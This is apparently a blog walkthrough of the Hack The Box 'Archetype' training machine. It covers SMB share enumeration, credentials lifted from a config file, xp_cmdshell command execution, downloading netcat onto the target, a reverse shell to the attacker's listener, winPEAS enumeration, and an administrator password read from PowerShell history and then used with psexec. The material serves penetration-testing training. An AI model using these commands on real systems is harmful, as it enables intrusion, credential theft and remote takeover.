DEV Community

Cover image for Hack The Box — Archetype Walkthrough
MOHAMMED ALISMAIL
MOHAMMED ALISMAIL

Posted on

Hack The Box — Archetype Walkthrough

Archetype

Firstly I take the IP for me, and for the target:

  • My IP: 10.10.15.84
  • Target IP: 10.129.125.68

Hack The Box Archetype machine info page


Tab 1:

Open VPN to connect with HTB Server:

sudo openvpn <vpn file>.ovpn
Enter fullscreen mode Exit fullscreen mode

Tab 2:

Scan the TIP (Target IP) with Nmap Tool:

nmap -sC -sV <TIP>
Enter fullscreen mode Exit fullscreen mode

Image for scan the ip from Nmap Tool

Result:

└─$ nmap -sC -sV 10.129.125.68
Starting Nmap 7.99 ( [https://nmap.org](https://nmap.org) ) at 2026-11-26 23:03 +0300
Nmap scan report for 10.129.125.68
Host is up (0.11s latency).
Not shown: 995 closed tcp ports (reset)
PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Enter fullscreen mode Exit fullscreen mode
Port Service Description
135/tcp MSRPC Microsoft Windows RPC
139/tcp NetBIOS-SSN SMB over NetBIOS
445/tcp Microsoft-DS Windows file sharing
1433/tcp MS-SQL-S Microsoft SQL Server 2017
5985/tcp HTTP Microsoft HTTPAPI

The interesting port is 1433.


SMB Enumeration

We can enumerate SMB shares using the smbclient tool to show what files the IP has:

smbclient -N -L //<TIP>/
Enter fullscreen mode Exit fullscreen mode

Result:

└─$ smbclient -N -L //10.129.125.68/

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    backups         Disk      
    C$              Disk      Default share
    IPC$            IPC       Remote IPC

Enter fullscreen mode Exit fullscreen mode
  • -N: no password
  • -L: list shares on host
  • Share name ends with $: Administrative share

The file wanted is backups (Disk) because the backups share has the data we need.

Use this command to show what documents the backups share has:

smbclient -N \\\\<TIP>\\backups
Enter fullscreen mode Exit fullscreen mode

The share has a prod.dtsConfig document.

  • Note: we want the document on our device.
  • Use command: get <document name> (get: download to the host device).
smb: \> ls
  .                                   D        0  Mon Jan 20 15:20:57 2020
  ..                                  D        0  Mon Jan 20 15:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 15:23:02 2020

smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (1.3 KiloBytes/sec)

Enter fullscreen mode Exit fullscreen mode

Tab 3:

Now we need to see what the document has:

cat prod.dtsConfig
Enter fullscreen mode Exit fullscreen mode

Result:

└─$ cat prod.dtsConfig
xml
<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedDate="20.1.2019 10:01:34" GeneratedFromPackageID="..." GeneratedFromPackageName="..."/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

Enter fullscreen mode Exit fullscreen mode

The file has the credential information of a user on the server:

  • Password=M3g4c0rp123
  • User ID=ARCHETYPE\sql_svc

Connecting to SQL Server

To use the sql server {Visit URL Impacket-cheatsheet}

Impacket-cheatsheet
Now we can enter the server with the information we have:

impacket-mssqlclient -windows-auth <domain>/<username>:'<Password>'@<TIP>
Enter fullscreen mode Exit fullscreen mode

Result:

└─$ impacket-mssqlclient -windows-auth ARCHETYPE/sql_svc:M3g4c0rp123@10.129.125.68
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2017 RTM (14.0.1000)
[!] Press help for extra shell commands
SQL (ARCHETYPE\sql_svc  dbo@master)>
Enter fullscreen mode Exit fullscreen mode

Enable xp_cmdshell for Remote Code Execution:

EXEC sp_configure 'show advanced options', 1; -- Enable advanced options
RECONFIGURE; -- Apply changes
EXEC sp_configure 'xp_cmdshell', 1; -- Enable xp_cmdshell to run commands
RECONFIGURE; -- Apply changes
xp_cmdshell "<command>" -- Example: xp_cmdshell "dir C:\Users"

Enter fullscreen mode Exit fullscreen mode

Result:

SQL (ARCHETYPE\sql_svc  dbo@master)> EXECUTE sp_configure 'show advanced options', 1;
INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (ARCHETYPE\sql_svc  dbo@master)> RECONFIGURE;
SQL (ARCHETYPE\sql_svc  dbo@master)> EXECUTE sp_configure 'xp_cmdshell', 1;
INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (ARCHETYPE\sql_svc  dbo@master)> RECONFIGURE;
SQL (ARCHETYPE\sql_svc  dbo@master)> xp_cmdshell "dir C:\Users"
Enter fullscreen mode Exit fullscreen mode
  • Use command: xp_cmdshell "dir C:\Users\Administrator" $\rightarrow$ Access Not Allowed
  • But if we use: xp_cmdshell "dir C:\Users\sql_svc" $\rightarrow$ Access Allowed

Find the User Flag:

xp_cmdshell "dir C:\Users\sql_svc\Desktop"
xp_cmdshell "more C:\Users\sql_svc\Desktop\user.txt"
Enter fullscreen mode Exit fullscreen mode
  • User Flag: 3e7b102e78218*************

Privilege Escalation

(Changed the TIP to 10.129.95.187)

I need to open a reverse shell, using the Netcat tool (nc64.exe) on the target device.

Tab 4:

Turn the folder into a simple HTTP server:

sudo python3 -m http.server 80
Enter fullscreen mode Exit fullscreen mode

Tab 5:

In another terminal, set the listener with port 4444:

sudo nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode

Return to Tab 3:

Use command xp_cmdshell "powershell -c pwd" to show the current path:

Use this command to download the file onto the target device:

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://<IP>/nc64.exe -outfile nc64.exe"
Enter fullscreen mode Exit fullscreen mode

Use this command to check the downloaded file:

xp_cmdshell "dir C:\Users\sql_svc\Downloads"
Enter fullscreen mode Exit fullscreen mode

Execute the Reverse Shell:

Then we execute the file with cmd:

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe <IP> 4444"
Enter fullscreen mode Exit fullscreen mode

Tab 5:

Go to the terminal that is running the listener. We see a new connection appear:

listening on [any] 4444 ...
connect to [10.10.15.84] from (UNKNOWN) [10.129.95.187] 49677
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\sql_svc\Downloads>
Enter fullscreen mode Exit fullscreen mode

When I try to enter the Administrator folder, I don't have permissions (Access is denied):


Enumerating with winPEAS

After downloading winPEASx64.exe, we transfer it to the target device:

Use the commands:

  1. powershell
  2. wget http://10.10.15.84/winPEASx64.exe -outfile winPEASx64.exe

After we transfer it, we need to launch it using:

.\winPEASx64.exe
Enter fullscreen mode Exit fullscreen mode

In the winPEAS output, we find the PowerShell history file path:
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

After we open that file:

cd C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\
more ConsoleHost_history.txt
Enter fullscreen mode Exit fullscreen mode
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
Enter fullscreen mode Exit fullscreen mode

We found the Password of Administrator:
"MEGACORP_4dm1n!!"


Tab 6:

After we found the password, we use the impacket-psexec command:

impacket-psexec ARCHETYPE/Administrator:'MEGACORP_4dm1n!!'@10.129.95.187
Enter fullscreen mode Exit fullscreen mode

Use the command dir to show what files are in Administrator:

cd \Users\Administrator
dir
Enter fullscreen mode Exit fullscreen mode

Finally, we enter the Desktop directory and read the root.txt file:

cd Desktop
dir
more root.txt
Enter fullscreen mode Exit fullscreen mode
  • The Flag: b91ccec3305e98*************

Top comments (0)